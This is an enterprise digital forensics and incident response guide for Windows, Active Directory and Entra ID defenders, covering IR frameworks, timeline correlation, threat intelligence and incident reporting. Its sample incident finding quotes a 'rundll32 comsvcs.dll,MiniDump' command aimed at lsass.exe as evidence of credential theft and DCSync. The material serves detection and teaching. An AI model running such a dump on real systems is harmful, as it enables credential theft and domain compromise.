Enterprise DFIR Field Guide

Windows Endpoints, Memory, Active Directory, and Hybrid/ Cloud Identity

Contents

1. Enterprise DFIR Field Guide

An interactive, data-driven reference for enterprise digital forensics and incident response — built for defenders working across Windows endpoints, memory, Active Directory, and hybrid/cloud identity.

This is not written for criminal-prosecution workflows. It's built for the SOC analyst, incident responder, and threat hunter who needs to answer one question fast: **is this normal, or is this an incident?**

1.1 How this guide is organized

Three layers, built to work together:

Knowledge Base (Modules 0–7) — one canonical page per artifact, log source, or mechanism. Each page follows the same shape: what it is, what normal looks like, what a red flag looks like, how to collect it, and how it maps to MITRE ATT&CK.

Case Studies — full, narrated investigations showing the reasoning *between* the reference pages: why one finding sends you to check a specific next thing, how you catch a timestamp lying to you, how much corroboration is actually enough. The Knowledge Base teaches recognition; these teach synthesis.

Investigation Playbooks (Module 8) — scenario-driven workflows (Business Email Compromise, ransomware, insider threat, domain compromise, data exfiltration...) that link into the Knowledge Base rather than repeating it.

New to DFIR? Start at Module 0: Foundations — everything downstream assumes the vocabulary and frameworks introduced there, including Timeline Construction & Correlation, which the Case Studies lean on directly.

Already investigating something specific? Jump straight to the relevant page in Investigation Playbooks.

1.2 Scope

In scope	Not covered here
Windows workstations, laptops, servers, VMs	macOS / Linux endpoint forensics
Active Directory & Domain Controllers	Non-Microsoft cloud (AWS/GCP) IAM forensics
Windows memory forensics	Mobile device forensics
Entra ID, hybrid identity, Microsoft 365	Network packet-level forensics (see SANS FOR572)
Microsoft Defender suite (AV through XDR)	Legal / chain-of-custody procedure for litigation

1.3 The modules

1. Foundations — methodology and shared frameworks
2. Windows Endpoint Forensics — filesystem, registry, event logs, process trees
3. Active Directory & Domain Controllers
4. Windows Memory Forensics
5. PowerShell Forensics — logging, obfuscation, decoding, fileless execution
6. Persistence Catalog — every mechanism, endpoint and cloud, ATT&CK-tagged
7. Cloud Identity (Entra ID / Hybrid)
8. Microsoft Defender Suite for IR
9. Network & Perimeter Log Analysis — DNS and proxy/firewall log triage (not full packet forensics — that's out of scope by design)
10. Anti-Forensics & Data Recovery — what attackers do to destroy or hide evidence, and what's still recoverable anyway

11. Case Studies — full narrated investigations connecting the dots across modules
12. Investigation Playbooks — the scenario layer
13. Practice Drills — hands-on exercises with simulated data, answers included

Two standing references, useful throughout rather than tied to one module: the Windows IR Quick Reference (a single dense page for an active incident) and the Glossary.

1.4 A note on sources

Every page here is original writing, built from the facts, structures, and taxonomies published by SANS (course material and posters), Microsoft Learn/MSTIC, and the wider DFIR community (including practitioners like 13cubed). Nothing is reproduced verbatim — each page links to primary sources for readers who want the original.

August 3, 2026

2. Foundations

Foundations **T1547.001**

2.1 Module 0: Foundations

Before touching a single artifact, every investigator needs shared vocabulary and shared frameworks. This module is short by design — six ideas, each of which gets used constantly in every module that follows.

Page	What it gives you
IR Lifecycle	The phases every incident moves through, and why "lessons learned" is a phase, not an afterthought
Order of Volatility	Why you image memory before disk, and disk before network logs
MITRE ATT&CK Primer	The tagging system used on every artifact and persistence page in this guide
Pyramid of Pain	Why hunting for behaviors beats hunting for IOCs
Diamond Model	A four-part frame for structuring what you know about an intrusion
Evidence Handling & Chain of Custody	What rigor looks like when the goal is containment and recovery, not court
Timeline Construction & Correlation	How to turn several individually-suspicious findings into one defensible, correctly-ordered story — clock skew, ingestion latency, and the `plaso` workflow
Operationalizing Threat Intelligence	Turning an intel report's IOCs and TTPs into actual hunts and standing detections, not just a blocklist
ATT&CK Coverage Map	Every tactic in the Enterprise matrix, mapped to what this guide covers — and an honest list of what it doesn't yet
Reporting & Communication	How to turn a confirmed finding into a report that satisfies both a technical reviewer and an executive decision-maker — from the same facts

How to use this module

Skim it once end to end, then treat it as a reference. When a later page says "tagged T1547.001" or "this is a Pyramid-of-Pain TTP-level detection," come back here if the shorthand doesn't click yet.

2.1.1 Referenced From

- Enterprise DFIR Field Guide

August 3, 2026

Foundations

2.2 The Incident Response Lifecycle

Two frameworks describe the same underlying process. You'll see both cited in the field — know them as synonyms, not competitors.

2.2.1 NIST SP 800-61: four phases

NIST's Computer Security Incident Handling Guide (SP 800-61 Rev. 2) defines four phases, drawn as a cycle rather than a line because the last phase feeds back into the first:

```
flowchart LR
    A["1. Preparation"] --> B["2. Detection &amp;amp; Analysis"]
    B --> C["3. Containment, Eradication &amp;amp; Recovery"]
    C --> D["4. Post-Incident Activity"]
    D -.feeds back into.-> A
```

- **Preparation** — everything done *before* an incident: logging enabled and shipped somewhere durable, EDR deployed, an IR plan written and rehearsed, contact lists current, jump-bag tooling ready.
- **Detection & Analysis** — the phase this entire guide mostly lives in: recognizing that something happened, scoping what, and confirming it isn't a false positive.
- **Containment, Eradication & Recovery** — stopping the bleeding (isolate a host, disable an account, block a domain), removing the cause (kill persistence, rebuild a host), and returning to normal operations.
- **Post-Incident Activity** — the retrospective: what worked, what didn't, what should change in Preparation next time. Skipping this is the single most common reason organizations relearn the same lesson twice.

2.2.2 SANS PICERL: six phases

SANS teaches a six-phase model that is really the same lifecycle with Containment/Eradication/Recovery split apart, because in practice they are distinct decisions with different urgency:

PICERL phase	Roughly maps to NIST phase	Core question
Preparation	Preparation	Are we ready before anything happens?
Identification	Detection & Analysis	Did something actually happen?
Containment	Containment/Eradication/ Recovery	How do we stop it from getting worse *right now*?
Eradication	Containment/Eradication/ Recovery	How do we remove the attacker's access and tooling completely?
Recovery	Containment/Eradication/ Recovery	How do we safely return to normal operations?
Lessons Learned	Post-Incident Activity	What changes so this doesn't happen the same way twice?

2.2.3 Why the split matters in practice

Treating Containment, Eradication, and Recovery as one blurred step is how organizations contain an incident, declare victory, and get re-compromised through the same persistence mechanism a week later. A concrete example: disabling a compromised account (**containment**) is not the same action as revoking its tokens and resetting hybrid credentials twice (**eradication**), which is not the same action as re-enabling access with monitoring in place (**recovery**). Every playbook in Module 8 keeps these as separate, explicit steps.

Baseline habit

Before closing an incident, walk through all six PICERL phases by name and confirm each one actually happened — not just that the immediate symptom stopped.

2.2.4 Referenced From

- Module 0: Foundations
- Automated Investigation & Remediation: What It Does, and Doesn't, Do
- Playbook: Business Email Compromise (BEC)
- Playbook: Data Exfiltration
- Playbook: Domain Compromise / Lateral Movement
- Module 8: Investigation Playbooks
- Playbook: Ransomware
- Playbook: Web Shell / Server Compromise
- Glossary

2.2.5 Sources

- NIST SP 800-61 Rev. 2, *Computer Security Incident Handling Guide*
- SANS FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics

August 3, 2026

Foundations

2.3 Order of Volatility

The principle, defined in RFC 3227, is simple: collect evidence starting with what disappears fastest. Get the acquisition order wrong and you can permanently lose the exact data that would have explained the incident.

2.3.1 The ordering

Tier	Evidence	Rough lifespan
1 (most volatile)	CPU registers, cache	Nanoseconds
2	Routing table, ARP cache, process table, kernel statistics, RAM	Until reboot or power loss
3	Temporary file systems, swap/page file	Minutes to hours
4	Disk (the filesystem itself)	Until overwritten
5	Remote logging and monitoring data related to the target system	Governed by log retention policy
6	Physical configuration, network topology	Until changed
7 (least volatile)	Archival media, backups	Years

2.3.2 What this actually drives, in this guide

- **Memory before disk, always, on a live compromised host.** A malicious PowerShell payload that only ever existed inside a `powershell.exe` process's memory (see Module 4) is gone the moment that process exits or the box reboots — before that happens is the only window to capture it.
- **Don't run extra tools on a host before imaging it, if you can avoid it.** Every process you launch to "check something" allocates memory, evicts cache, and can overwrite the exact volatile evidence you're trying to preserve — forensic tooling itself has a footprint.
- **Log retention windows are a volatility tier, not an afterthought.** A sign-in log aging out of Microsoft Purview at a fixed retention period is functionally the same problem as RAM clearing on reboot — the data disappears on a timer regardless of whether you were ready. See Module 6 for current Entra ID/Purview retention specifics.

> **Baseline habit**
>
> Before touching a live host, ask: "What's the most volatile evidence I still need, and have I captured it yet?" Then work down the table in order.

2.3.3 Referenced From

- Module 0: Foundations
- Memory Acquisition
- Module 3: Windows Memory Forensics
- Memory-Based File Recovery
- Windows IR Quick Reference

2.3.4 Sources

- RFC 3227, *Guidelines for Evidence Collection and Archiving*

- SANS FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics — live-response methodology

August 3, 2026

Foundations **T1547** **T1547.001**

2.4 MITRE ATT&CK Primer

MITRE ATT&CK is a knowledge base of adversary behavior built from real-world observed intrusions. This guide uses it as its tagging system: every persistence mechanism, and most artifact and playbook pages, carry an ATT&CK ID so you can pivot straight to MITRE's own detection and mitigation guidance.

2.4.1 The hierarchy

```
flowchart TD
    Tac["Tactic - the WHY <br/> e.g. Persistence (TA0003)"]
    Tech["Technique - the HOW <br/> e.g. Boot or Logon Autostart Execution (T1547)"]
    Sub["Sub-technique - the SPECIFIC HOW <br/> e.g. Registry Run Keys (T1547.001)"]
    Tac --> Tech --> Sub
```

- **Tactics** answer *why* an adversary is doing something. Enterprise ATT&CK defines 14: Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, and Impact.
- **Techniques** (and **sub-techniques**) answer *how*. A Persistence tactic can be achieved via dozens of techniques — a Registry Run key, a Scheduled Task, a malicious service, a WMI event subscription — each with its own ID, such as `T1547.001`.

2.4.2 How IDs are used in this guide

Every entry in the Persistence Catalog is tagged with its sub-technique ID. This does two things: it gives you a stable identifier to search on (in Sentinel, in a SIEM, in a ticket), and it means you can pivot to MITRE's own page for detection data sources and mitigations without this guide needing to duplicate that content.

> **Read technique IDs as a lookup key, not trivia**
>
> You don't need to memorize IDs. Treat `T1547.001` the way you'd treat a CVE number — a stable reference you look up when you need it.

2.4.3 Referenced From

- Module 0: Foundations
- Operationalizing Threat Intelligence
- Malware Triage Methodology
- Glossary
- Enterprise DFIR Field Guide

2.4.4 Sources

- MITRE ATT&CK for Enterprise

August 3, 2026

Foundations

2.5 The Pyramid of Pain

Developed by David Bianco, the Pyramid of Pain ranks indicator types by how much it costs an adversary when you detect on them — not by how easy the indicator is for *you* to collect.

Level (bottom → top)	Indicator	Cost to the adversary if you detect on it
1	Hash values	Trivial — recompile and the hash changes
2	IP addresses	Easy — spin up new infrastructure
3	Domain names	Mildly annoying — needs a new registration
4	Network/host artifacts	Annoying — has to rebuild tooling behavior
5	Tools	Real cost — has to find or write a new tool
6 (top)	TTPs (Tactics, Techniques, Procedures)	Painful — has to change *how they operate*, not just *what they use*

2.5.1 Why this belongs in Foundations

Every artifact page and persistence entry in this guide is written to support detection as high on the pyramid as possible. A hash-based rule for "known-bad mimikatz.exe" is trivially defeated by recompiling. A behavioral rule for "LSASS opened with read-memory access by a non-standard parent process" is a TTP-level detection — it forces the adversary to fundamentally change their credential-access approach, not just swap a file.

This is also why Module 5 tags every persistence mechanism by ATT&CK technique rather than by known-malware-family name: technique-level detection survives tool churn.

How to apply it while hunting

When you find an indicator, ask where it sits on the pyramid before you write a detection rule around it. A rule at the hash/IP level needs constant feeding. A rule at the TTP level, once built, keeps working against variants you haven't seen yet.

2.5.2 Referenced From

- Module 0: Foundations
- Operationalizing Threat Intelligence
- Glossary

2.5.3 Sources

- David J. Bianco, *The Pyramid of Pain* — originally published on his blog, *Enterprise Detection & Response*
- SANS FOR508 threat-hunting methodology

August 3, 2026

Foundations

2.6 The Diamond Model of Intrusion Analysis

Developed by Caltagirone, Pendergast, and Betz, the Diamond Model gives you a minimal, consistent frame for describing any single malicious event: four core features connected in a diamond, because each one is directly related to the other three.

```
flowchart TD
    Adversary((Adversary))
    Capability((Capability))
    Infrastructure((Infrastructure))
    Victim((Victim))
    Adversary --- Capability
    Adversary --- Infrastructure
    Victim --- Capability
    Victim --- Infrastructure
    Capability --- Infrastructure
```

- **Adversary** — who's doing this (an individual, group, or organization — often unknown early on, and that's fine)
- **Capability** — the tools and techniques used (malware, an exploit, a phishing kit, a living-off-the-land technique)
- **Infrastructure** — the physical/logical means used to deliver capability or maintain control (C2 domains, IPs, compromised relay hosts, mailboxes)
- **Victim** — the target (an organization, a system, a person, an asset)

Around the core diamond, six meta-features add context to each event: **timestamp**, **phase** (where it sits in the kill chain), **result**, **direction** (e.g., victim-to-infrastructure), **methodology** (e.g., phishing, DDoS), and **resources** (what the adversary needed to pull it off).

2.6.1 Why it earns a page in a Windows-focused guide

Individual artifact pages in this guide tell you *what happened on one host*. The Diamond Model is how you connect several of those events into a coherent narrative: this Prefetch entry (Capability) executed from this compromised account (Victim/Adversary access), reaching out to this C2 domain (Infrastructure). Use it to structure investigation notes and incident write-ups so the next analyst — or your future self — can reconstruct the reasoning, not just the raw findings.

2.6.2 Referenced From

- Module 0: Foundations
- Reporting & Communication
- Timeline Construction & Correlation

2.6.3 Sources

- Caltagirone, Pendergast, and Betz, *The Diamond Model of Intrusion Analysis* (2013)

August 3, 2026

Foundations

2.7 Evidence Handling & Chain of Custody — for Enterprise IR

This guide is written for enterprise defenders, not criminal prosecution — but "we're not going to court" is not the same as "rigor doesn't matter." Three other things routinely depend on the same discipline: cyber-insurance claims, regulatory/breach-notification obligations, and the possibility that today's internal incident becomes tomorrow's civil litigation or law-enforcement referral, at which point sloppy handling from day one can't be fixed retroactively.

2.7.1 The core principles, adapted for speed

- **Minimize contamination.** Prefer read-only/forensic-copy analysis over touching production originals wherever timelines allow. When you must act on a live host (kill a process, isolate a NIC), do it deliberately and log exactly what you did and when.
- **Hash before you analyze.** Take a SHA-256 of any acquired image or exported log file before working with it. It costs seconds and gives you — and anyone who reviews your work later — proof the evidence wasn't altered in transit.
- **Log the who/what/when of every action.** Every command run against a subject system, every export pulled, every account disabled — timestamped, with the analyst's name attached. In a hybrid/cloud investigation this often means keeping your own IR timeline alongside the platform's own audit log, since your own containment actions (like revoking a session) are themselves recorded in Entra ID's audit log — cross-reference the two.
- **Preserve before you remediate, where the two conflict.** If eradicating a threat (rebuilding a host, resetting a credential) will destroy evidence you haven't yet captured, capture first — unless active, ongoing harm makes that unsafe to wait for.

2.7.2 Where enterprise IR rigor differs from a criminal-forensics standard

Criminal/legal forensics	Enterprise IR (this guide's default)
Strict, unbroken chain-of-custody forms for every artifact, built for admissibility	A clear, timestamped internal record — built for defensibility to your own leadership, insurer, or regulator, not a courtroom
Bit-for-bit forensic images as the default, before any other action	Live triage collection is often correct first, given business-continuity pressure — full imaging follows if scope demands it
Containment often waits for evidence preservation	Containment often *leads*, because stopping active damage outweighs preserving a perfect record, and most incidents never end up in court

If your organization's specific situation changes this calculus (regulated industry, active litigation hold, law-enforcement involvement), loop in legal counsel early — the threshold for formal chain-of-custody can shift mid-investigation, and it's far easier to have been rigorous from the start than to reconstruct rigor after the fact.

Baseline habit

Keep a running, timestamped analyst log from the moment you're engaged — even a plain text file. It's the cheapest insurance policy in the entire incident.

2.7.3 Referenced From

- Module 0: Foundations
- Timeline Construction & Correlation
- Memory Acquisition
- Playbook: Insider Threat

2.7.4 Sources

- SANS FOR500 / FOR508 evidence-handling modules
- NIST SP 800-86, *Guide to Integrating Forensic Techniques into Incident Response*

August 3, 2026

Foundations

2.8 Timeline Construction & Correlation

Every other page in this guide teaches recognition — here's an artifact, here's what normal looks like, here's the red flag. This page is different: it's about what happens *after* you've found several individually-suspicious things and need to turn them into one defensible story of what happened, in order, across multiple hosts and multiple log sources that don't share a clock, a timezone, or even a timestamp format.

This is the actual daily mechanic of an investigation, and it's worth being explicit about because it's where good analysis and wrong conclusions both come from the same instinct: lining timestamps up and trusting what you see.

2.8.1 Why raw timestamps don't just line up

Three separate problems, and they compound:

- **Different formats.** `$MFT` and Prefetch store Windows FILETIME (100-nanosecond intervals since January 1, 1601 UTC — always UTC internally, regardless of what a viewer displays). Event logs display in whatever timezone the *viewing* tool or workstation is configured for, not necessarily the timezone the event actually happened in. Cloud logs (Entra sign-in logs, the Unified Audit Log) are UTC by convention but formatted differently depending on which API or portal you pulled them from.
- **Clock skew.** A host's local clock can simply be wrong — NTP sync silently failing, a stale CMOS battery, a misconfigured timezone — and every timestamp that host generates locally (Prefetch, its own Event Log, Sysmon) inherits that error. This is *not* rare, and it doesn't announce itself.
- **Ingestion latency.** Some sources don't even timestamp *arrival* the same as *occurrence*. The Purview Unified Audit Log is the sharpest example in this guide's scope — see Sign-In Logs vs. Audit Logs — where an event that already happened may simply not be queryable yet.

None of these are exotic edge cases. Assume all three are in play on every multi-source investigation until you've specifically checked otherwise.

2.8.2 Establishing — and correcting for — clock skew

You can't take a host's word for its own clock. What you can do is find an event that got recorded **independently, by two systems with different clocks**, and compare.

The classic anchor: a network connection. A host's local Sysmon Event ID 3 records a connection at the host's own (possibly wrong) time. A centrally-logged, NTP-synced firewall or proxy sees the *same* connection (matching source IP, destination, port, and a timestamp within a plausible margin) and logs it at the *correct* time. The difference between the two is your skew, in both magnitude and direction.

```
Host-local timestamp for the connection:   03:15:38
Firewall/proxy timestamp, same connection: 03:01:38
Skew: host clock is 14 minutes FAST
```

Once you know the skew, apply it to **every timestamp that host generated locally** before comparing it against anything else — not just the one event you happened to check. A single correction event calibrates the whole host's local timeline.

Red flag, and a trap

Skipping this step doesn't just add imprecision — it can change the *interpretation* of an attack. A short, tight gap between two events might look like scripted, automated attacker tooling; correct for a clock running fast and the same two events might be sixteen minutes apart, consistent with a human operator working manually through each step. Those two conclusions point investigators toward different threat models entirely.

2.8.3 Building a super timeline

Once individual sources are normalized, the standard tool for merging them into one sorted view is **`log2timeline / plaso`** (actively maintained — SANS FOR508's standard timelining tool). The workflow has three stages, mirrored by plaso's three command-line tools:

1. **Extract** — `log2timeline.py` parses each source (filesystem, registry hives, event logs, browser history, and — usefully for this guide — it can ingest a `mactime`-format body file directly from MFTECmd output) into one `.plaso` storage file.
2. **Verify** — `pinfo.py` reports what was actually collected, so you know the merged timeline's coverage before trusting gaps in it.
3. **Sort, filter, and export** — `psort.py` produces the final human-readable timeline, filtered to a time window and normalized to a single timezone:

```
psort.py --output-time-zone 'UTC' -o l2tcsv -w supertimeline.csv out.plaso \
  "date > datetime('2026-01-01T00:00:00') AND date < datetime('2026-01-02T00:00:00')"
```

`--output-time-zone 'UTC'` is the practical version of "normalize everything" from earlier on this page — it's the single flag doing that work. For collaborative, multi-analyst work at scale, Timesketch provides a shared front-end over the same plaso output.

2.8.4 Reading a super timeline without drowning in it

A raw super timeline from even a single host is enormous — most of it routine. Three habits keep it usable:

- **Filter to a window before you filter by content.** Establish the incident's rough boundaries first (from your highest-confidence artifact — an alert timestamp, a known-bad file's creation time), then narrow. Filtering by keyword across the *entire* uncapped timeline buries the signal in volume.
- **Tag as you go.** Mark confirmed-relevant events distinctly from "still investigating" ones — a timeline you've partially triaged is a different, more useful object than the raw output.
- **Anchor on your highest-confidence timestamp and work outward.** A DCSync alert timestamp (Defender for Identity, DCSync Detection) is high-confidence — it's generated by the DC observing the replication request directly. A Prefetch last-run time is lower-confidence on its own — it only proves execution happened *at some point*, with weaker precision. Build outward from strong anchors, not from whichever artifact you happened to find first.

2.8.5 How much correlation is enough

A single artifact is a lead, not a conclusion — this point already appears throughout this guide's artifact pages (Amcache says it explicitly), but it's worth stating as a general principle here: **treat any single-source finding as provisional until a second, independently-generated source agrees with it.** "Independently-generated" is the operative phrase — two entries in the same log file corroborating each other is much weaker than a host-side artifact and a network-side log agreeing, because a single compromised or misconfigured source can be wrong in ways that repeat within itself but won't coincidentally match an unrelated system.

This is also where a timeline earns its keep as evidence, not just as an organizational tool: an incident write-up built on "these five things happened, in this order, corroborated across independent sources" is a fundamentally stronger document than a list of red flags in no particular sequence — and it's what the Diamond Model and Evidence Handling pages both assume you're capable of producing.

2.8.6 Referenced From

- Module 0: Foundations
- Reporting & Communication
- Operationalizing Threat Intelligence
- Volume Shadow Copy Recovery
- Case Study: Business Email Compromise, End to End
- Case Study: Domain Compromise, End to End
- Case Studies

- Glossary
- Enterprise DFIR Field Guide
- Network & Perimeter Log Analysis
- Proxy & Firewall Log Triage
- Practice Drills
- Drill: Timeline Correlation

2.8.7 Sources

- Plaso / log2timeline documentation and project repository
- SANS Digital Forensics Certifications overview (FOR508 — timeline analysis is a core module)
- Timesketch — collaborative timeline analysis front-end

August 3, 2026

Foundations

2.9 Operationalizing Threat Intelligence

2.9.1 The gap this closes

This guide has referenced MSTIC (Microsoft's Threat Intelligence Center) as a source since the very first page, and MITRE ATT&CK is the tagging system running through every module — but nowhere does this guide actually walk through *using* a threat intelligence report once you have one. Reading an intel report and hunting your own environment against it are different skills, and the gap between them is where a lot of genuinely good threat intelligence goes unused.

2.9.2 What a usable report actually gives you

A well-written intel report (MSTIC's own actor profiles are a good example of the genre) typically contains three tiers of information, and they translate into your environment differently:

Tier	Example	How durable it is
Indicators (IOCs)	A specific C2 domain, file hash, IP address	Least durable — per the Pyramid of Pain, trivial for the actor to change
Techniques (TTPs)	"This actor uses DCSync after initial access," mapped to an ATT&CK ID	Far more durable — changing an entire technique is expensive for an actor
Behavioral narrative	The actual sequence: initial access vector, how they escalate, what they target	Most durable of all, and the hardest to translate directly into a query

The common mistake is treating a report as only Tier 1 — extracting the IOC list, loading it into a blocklist, and calling the report "actioned." That's real value, but it's the least durable value in the document, and it's usually not what makes a good report actually good.

2.9.3 The actual workflow

1. **Extract every ATT&CK ID the report cites.** Most quality intel reporting maps its narrative to technique IDs directly; if it doesn't, do this mapping yourself as you read.
2. **Check each technique against what this guide (or your own detection stack) already covers.** A report citing DCSync, Kerberoasting, and a specific PowerShell obfuscation pattern maps directly onto existing pages in this guide — DCSync Detection, Kerberoasting, Obfuscation & Decoding — meaning the detection logic likely already exists; the work is confirming it's actually deployed and tuned, not building it from scratch.
3. **For techniques with no existing coverage, that's your build list** — and it's a more valuable list than the IOC list, because it represents a genuine detection gap rather than a single expiring indicator.
4. **Use the IOCs as a starting hunt, not an ending point.** Search for the specific indicators first (fast, cheap, sometimes immediately conclusive), but don't stop there — pivot from any hit into the behavioral pattern around it, using this guide's own Timeline Construction approach to build out what else happened near that indicator, not just confirm its presence.

2.9.4 A concrete example

A report states: "*The actor gains initial access via phishing, uses `comsvcs.dll` to dump LSASS, and pivots to Domain Controllers via DCSync within the same session.*" Turned into action:

- IOC-level: any specific hashes/domains from the report, searched immediately.
- TTP-level: this maps directly to LSASS Memory Analysis's `comsvcs.dll` detection and DCSync Detection's GUID-based hunt — confirm both are actually deployed as standing detections (see Detection Engineering), not just documented as possible.
- Behavioral-level: the *speed* of the reported chain (single session, phishing to DCSync) becomes its own detection opportunity — a correlation rule alerting specifically on LSASS access followed by DCSync activity from the same host within a short window is a stronger, more specific detection than either technique alone, and it's a rule this specific report just told you is worth building.

2.9.5 Referenced From

- Module 0: Foundations
- Detection Engineering: From Hunt Query to Standing Detection

2.9.6 Sources

- SANS Digital Forensics Certifications overview (FOR508 — threat intelligence-driven hunting)
- Pyramid of Pain — the durability framing this page builds on

August 3, 2026

Foundations **T1059.001** **T1059.005** **T1134** **T1566**

2.10 ATT&CK Coverage Map

2.10.1 What this page is for

Every persistence entry, most artifact pages, and several playbooks in this guide carry a technique ID — but nowhere is that coverage shown as a whole. This page exists specifically to make gaps visible at a glance, including this guide's own: it's an honest map, not a marketing one, and several tactics below are thin on purpose-built content, stated plainly rather than papered over with a loose cross-reference.

2.10.2 Coverage by tactic

Tactic	Covered in this guide	Notable gap
Reconnaissance (TA0043)	—	Not covered as its own topic
Resource Development (TA0042)	—	Out of scope — this is largely pre-compromise infrastructure-building activity outside what an enterprise defender directly observes
Initial Access (TA0001)	Phishing playbook (T1566); AD CS ESC8 touches NTLM-relay-based access	Web shell delivery mechanics (Web Shell playbook covers post-delivery, not the delivery vulnerability classes themselves)
Execution (TA0002)	PowerShell Forensics module (T1059.001) end to end	Non-PowerShell scripting engines (T1059.005/.007) not separately covered
Persistence (TA0003)	The Persistence Catalog — 14 entries, endpoint and cloud, this guide's deepest tactic by page count	—
Privilege Escalation (TA0004)	Kerberoasting, Golden/Silver Ticket, AD CS abuse, ACL & Delegation Abuse, AdminSDHolder	Token manipulation/impersonation (T1134) not separately covered outside the EPROCESS Token field mention
Defense Evasion (TA0005)	Timestomping, log clearing & recovery, ADS, obfuscation, AMSI/downgrade evasion, injection techniques	Signed-binary proxy execution (LOLBins beyond `comsvcs.dll` / `rundll32`) not covered as its own catalog
Credential Access (TA0006)	DCSync, LSASS Memory Analysis, Kerberoasting, Golden/Silver Ticket	Credential access from browsers/password managers not covered
Discovery (TA0007)	Touched inside Mutex Analysis and ACL & Delegation Abuse	Not a dedicated topic — this is a genuine gap, since discovery/enumeration activity (broad LDAP queries, network scanning) is often the loudest early signal of an attacker orienting themselves, and this guide doesn't yet treat it as its own detection category
Lateral Movement (TA0008)	Domain Compromise playbook and case study cover it narratively	Pass-the-hash/pass-the-ticket mechanics not covered as dedicated artifact pages, only referenced
Collection (TA0009)	—	Not covered as its own topic
Command and Control (TA0011)	DNS Analysis, Proxy & Firewall Triage, network artifacts in memory	C2 framework-specific signatures (Cobalt Strike, Sliver, etc. malleable-profile indicators) not covered by name
Exfiltration (TA0010)	Data Exfiltration playbook, byte-ratio analysis in Proxy & Firewall Triage	—
Impact (TA0040)	Ransomware playbook	Data destruction/defacement outside the ransomware-encryption pattern not separately covered

2.10.3 How to use this page

Before assuming a gap in your own environment's detection is a tooling problem, check whether it's actually a **coverage gap in this guide** first — several of the "Notable gap" entries above (Discovery, non-PowerShell execution, LOLBin cataloging) are genuine candidates for this guide's own next additions, not things you're necessarily missing in your own stack.

2.10.4 Referenced From

- Module 0: Foundations
- Tags Index

2.10.5 Sources

- MITRE ATT&CK for Enterprise — canonical tactic list and IDs

August 3, 2026

Foundations **T1003.001** **T1003.006**

2.11 Reporting & Communication

Everything else in this guide ends at the moment of understanding — you've found the artifact, built the timeline, confirmed the compromise. None of that helps the organization until it's written down in a form someone can act on. This page is about that last step, and it's treated as its own skill deliberately: technically flawless investigative work, communicated badly, gets the wrong response from leadership just as reliably as bad investigative work does.

2.11.1 Why this needs its own page

An incident report has to satisfy two readers who need almost opposite things from the same set of facts:

- A **technical reader** (another analyst, an auditor, future-you six months from now) needs enough specificity to independently verify every claim — event IDs, timestamps, exact artifact locations, the reasoning chain from evidence to conclusion.
- An **executive reader** (leadership, legal, the board) needs to understand impact and make a decision — fast, in plain language, without needing to know what a VAD tree is — and generally cannot act on a document that makes them wade through technical detail to find out what they're actually being asked to decide.

Writing one document that serves both means structuring it so each reader can get what they need without the other's needs getting in the way — not writing two unrelated documents, and not writing one watered-down document that fully serves neither.

2.11.2 The shape of a single finding

Before assembling a full report, every individual finding should be constructable in four parts, in this order:

1. **Observation** — the raw, verifiable fact. "Event ID 4662 was logged at 03:16:55 UTC on DC-01, containing GUID `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2`, sourced from account `svc-backup`."
2. **Interpretation** — what that fact means, using this guide's own reference pages as the justification. "This GUID corresponds to the Replicating Directory Changes All extended right; `svc-backup` is not a Domain Controller. Per DCSync Detection, this is the signature of a DCSync attack."
3. **Confidence** — how sure you are, and why, per Timeline Construction & Correlation's standard: is this corroborated by an independent source, or standing alone?
4. **Implication** — so what. What does this mean for scope, for remediation, for risk.

Skipping straight from Observation to Implication — "we saw a DCSync event, so the whole domain is compromised" — is how technical readers lose trust in a report: the missing Interpretation and Confidence steps are exactly what they're checking for. Skipping straight to Observation and stopping there — dumping event IDs with no Implication — is how executive readers stop reading.

2.11.3 A vocabulary for confidence, used consistently

Pick a small, fixed set of confidence terms and use them the same way every time in a given report, rather than varying the language finding-to-finding in ways that accidentally imply different confidence levels:

Term	Use when
Confirmed	Corroborated by two or more independent sources — the Timeline Construction bar
Assessed / Likely	Strong single-source evidence, consistent with known technique, but not independently corroborated
Possible / Under investigation	A lead worth stating, not yet strong enough to act on alone

Consistency here matters more than the exact words chosen — a reader who sees "Confirmed" used loosely early in a report will discount it everywhere else, including where it's genuinely earned.

2.11.4 Worked example: the same finding, two ways

This uses the confirmed finding from the Domain Compromise case study — `svc-backup`'s credential compromise, traced back through a corrected timeline to a specific workstation.

Technical section (for the analyst appendix)

> **Finding 3 — Credential Theft and Directory Replication Abuse (Confirmed)**
>
> At 02:58:14 UTC (corrected for an established +14-minute local clock offset — see Methodology, §2), `WKS-4471` executed `SVCHOST_HELPER.EXE` (Prefetch: `SVCHOST_HELPER.EXE-9B2A7C41.pf`, RunCount 1, launched from `%LOCALAPPDATA%\Temp\`). Sysmon Event ID 1 on the same host shows this process spawning `rundll32.exe comsvcs.dll,MiniDump` against PID 892 (`lsass.exe`) at approximately 02:58:41 UTC, consistent with the credential-dumping technique documented in T1003.001. At 03:14:02–03:14:41 UTC, the harvested `svc-backup` credential was used to authenticate to `DC-01` (Security 4624/4625). At 03:16:55 UTC, `DC-01` logged Event ID 4662 containing extended-right GUID `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2` (Replicating Directory Changes All) sourced from `svc-backup` — a non-Domain-Controller account requesting directory replication, the signature of T1003.006 (DCSync). This finding is corroborated across three independent sources (host-based Prefetch/Sysmon, network firewall logs used to establish clock correction, and Domain Controller Security event logs) and is assessed as **Confirmed**.

Executive summary section (for leadership)

> An attacker gained access to a workstation and used a built-in Windows credential-recovery feature — the same one legitimate administrators use for troubleshooting — to steal a service account's login credentials. That account had permission to copy sensitive information from our central directory system, including the master key used to issue employee login sessions. **This means the attacker could potentially have logged in as any employee, including senior leadership, without needing their actual password.** We've confirmed this happened through three separate, independently-verified sources of evidence. We are resetting the affected master key (twice, per standard procedure, to fully close the exposure) and isolating the affected workstation. We recommend [specific decision — e.g., mandatory password resets for X population, or engaging outside counsel given the scope] by [date].

What changed between the two, and what didn't

